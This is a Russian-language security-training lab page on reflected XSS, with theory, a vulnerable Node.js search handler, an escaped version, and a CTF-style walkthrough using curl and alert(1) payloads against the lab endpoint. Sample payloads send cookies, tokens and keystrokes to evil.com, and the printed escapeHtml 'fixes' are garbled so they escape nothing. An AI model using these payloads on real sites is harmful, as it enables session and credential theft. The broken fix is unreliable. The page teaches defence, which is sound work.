Rostelecom Security Labs

XSS-01: Reflected XSS

Форма поиска отражает введённый текст без экранирования HTML. Классическая Reflected XSS через GET-параметр.

📚 Теория: Reflected XSS (кликните чтобы развернуть)

Reflected XSS (отражённая межсайтовая скриптовая атака) — это уязвимость, при которой пользовательский ввод отражается в HTTP-ответе без должной фильтрации или экранирования.

🎯 Как работает атака? (пошагово)

👤
Шаг 1: Атакующий создаёт вредоносную ссылку https://bank.com/search?q=<script>steal()</script>

💡 Payload внедрён прямо в URL

⬇️
📧
Шаг 2: Жертва кликает по ссылке

Получает по email, в соцсетях, или через SMS

🎣 Социальная инженерия: "Проверьте срочное уведомление!"

⬇️
🖥️
Шаг 3: Сервер отражает payload в HTML
<p>Результаты поиска: <strong><script>steal()</script></strong></p>

❌ Сервер не экранировал специальные символы!

⬇️
🔥
Шаг 4: Браузер выполняет JavaScript

💣 Payload выполнился в контексте банка!

🍪 Атакующий получает cookies, токены, данные формы

📊 Разбор на примере

❌ Уязвимый код (БЕЗ защиты)

// server.js
app.get('/search', (req, res) => {
  const query = req.query.q;  // Берём из URL
  
  // ❌ ОПАСНО: вставляем прямо в HTML
  res.send(\`
    <html>
      <body>
        <h1>Поиск: \${query}</h1>
        <p>Ничего не найдено</p>
      </body>
    </html>
  \`);
});

Что происходит при атаке:

// URL: /search?q=<script>alert(document.cookie)</script>

// Ответ сервера:
<h1>Поиск: <script>alert(document.cookie)</script></h1>
                ↑ Браузер выполнит это как код!

✅ Безопасный код (С защитой)

// server.js
function escapeHtml(text) {
  const map = {
    '&': '&',
    '<': '<',
    '>': '>',
    '"': '"',
    "'": '''
  };
  return text.replace(/[&<>"']/g, (m) => map[m]);
}

app.get('/search', (req, res) => {
  const query = req.query.q;
  
  // ✅ БЕЗОПАСНО: экранируем спецсимволы
  const safeQuery = escapeHtml(query);
  
  res.send(\`
    <html>
      <body>
        <h1>Поиск: \${safeQuery}</h1>
        <p>Ничего не найдено</p>
      </body>
    </html>
  \`);
});

Результат экранирования:

// Payload: <script>alert(1)</script>
// После escapeHtml: &lt;script&gt;alert(1)&lt;/script&gt;
// В HTML: <script>alert(1)</script> (отображается как текст!)
                ↑ Браузер НЕ выполнит — это просто текст

⚠️ Почему это ОЧЕНЬ опасно?

🍪

Кража cookies и сессий

<script>
fetch('https://evil.com/steal?c=' + 
  document.cookie)
</script>

Атакующий получает ваши cookies → заходит под вашим аккаунтом

🎣

Фишинговые формы

<script>
document.body.innerHTML = \`
  <form action="https://evil.com">
    <input name="password">
    <button>Войти</button>
  </form>
\`;
</script>

Пользователь видит "родную" форму, но пароль уходит атакующему

🔐

Кража токенов

<script>
const token = localStorage.getItem('token');
fetch('https://evil.com/log?t=' + token);
</script>

JWT токены, API ключи — всё доступно через JavaScript

📸

Keylogging

<script>
document.onkeypress = (e) => {
  fetch('https://evil.com/k?key=' + e.key);
};
</script>

Запись всех нажатий клавиш (пароли, номера карт)

🎓 Что нужно понимать разработчику:

1
НИКОГДА не доверяй пользовательскому вводу

Всё, что приходит из GET/POST параметров, headers, cookies — потенциально опасно

2
Экранируй ВСЕ спецсимволы перед выводом в HTML

< > & " ' должны превращаться в &lt; &gt; &amp; &quot; &#x27;

3
Используй готовые библиотеки

Node.js: validator.escape(), he.encode()
Template engines: EJS, Handlebars (auto-escaping по умолчанию)

4
Добавь Content Security Policy (CSP)
res.setHeader('Content-Security-Policy',
  "default-src 'self'; script-src 'self'");

Блокирует inline скрипты, даже если XSS прошёл

Пример уязвимого кода

// ❌ УЯЗВИМО: отражаем ввод без экранирования
app.get('/search', (req, res) => {
  const query = req.query.q;
  res.send(\`<p>Вы искали: <strong>\${query}</strong></p>\`);
});

Как защититься?

// ✅ БЕЗОПАСНО: экранируем HTML-сущности
function escapeHtml(text) {
  return text
    .replace(/&/g, '&')
    .replace(//g, '>')
    .replace(/"/g, '"')
    .replace(/'/g, ''');
}

app.get('/search', (req, res) => {
  const query = escapeHtml(req.query.q);
  res.send(\`<p>Вы искали: <strong>\${query}</strong></p>\`);
});

Брифинг

Эндпоинт /api/xss/search принимает параметр q и отражает его в HTML без экранирования. Твоя задача:

Подсказки (curl + браузер)

Шаг 1 — обычный поиск
curl "https://rtlabs.su/api/xss/search?q=test"

💡 Текст "test" отражается в HTML без изменений.

Шаг 2 — проверка внедрения HTML
curl "https://rtlabs.su/api/xss/search?q=%3Cb%3EXSS%3C/b%3E"

Или напрямую: ?q=<b>XSS</b> — текст станет жирным в браузере.

Шаг 3 — XSS через <script>
# Анализ через curl
curl "https://rtlabs.su/api/xss/search?q=%3Cscript%3Ealert(1)%3C/script%3E"

# Выполнение в браузере (скопируйте URL):
https://rtlabs.su/api/xss/search?q=<script>alert(1)</script>

⚠️ Откройте URL в браузере — должен появиться alert с цифрой 1!

Шаг 4 — альтернативные векторы атаки
# Event handler через IMG
https://rtlabs.su/api/xss/search?q=<img src=x onerror=alert(1)>

# SVG onload
https://rtlabs.su/api/xss/search?q=<svg/onload=alert(1)>

# Body onload (закрывает предыдущий контекст)
https://rtlabs.su/api/xss/search?q=</strong><body onload=alert(1)>

💡 Разные векторы работают в разных контекстах HTML.

🏆 Когда payload выполнится, сервер вернёт строку формата FLAG{...}. Её и сдаём.

Проверка флага

После успешного выполнения XSS (увидели alert в браузере) отправьте флаг для завершения лабораторной.

Как починить

Твоя задача — увидеть разницу между уязвимым и исправленным обработчиком.

Уязвимый код

app.get('/api/xss/search', (req, res) => {
  const { q } = req.query;
  
  // ❌ Отражаем без экранирования
  res.send(\`<p>Вы искали: <strong>\${q}</strong></p>\`);
});

Безопасный код

function escapeHtml(text) {
  return text
    .replace(/&/g, '&')
    .replace(//g, '>')
    .replace(/"/g, '"')
    .replace(/'/g, ''');
}

app.get('/api/xss/search', (req, res) => {
  const { q } = req.query;
  
  // ✅ Экранируем HTML-сущности
  const safe = escapeHtml(q);
  res.send(\`<p>Вы искали: <strong>\${safe}</strong></p>\`);
});

💡 Используйте готовые библиотеки: validator.escape(), he.encode() или template engines с auto-escaping (EJS, Handlebars).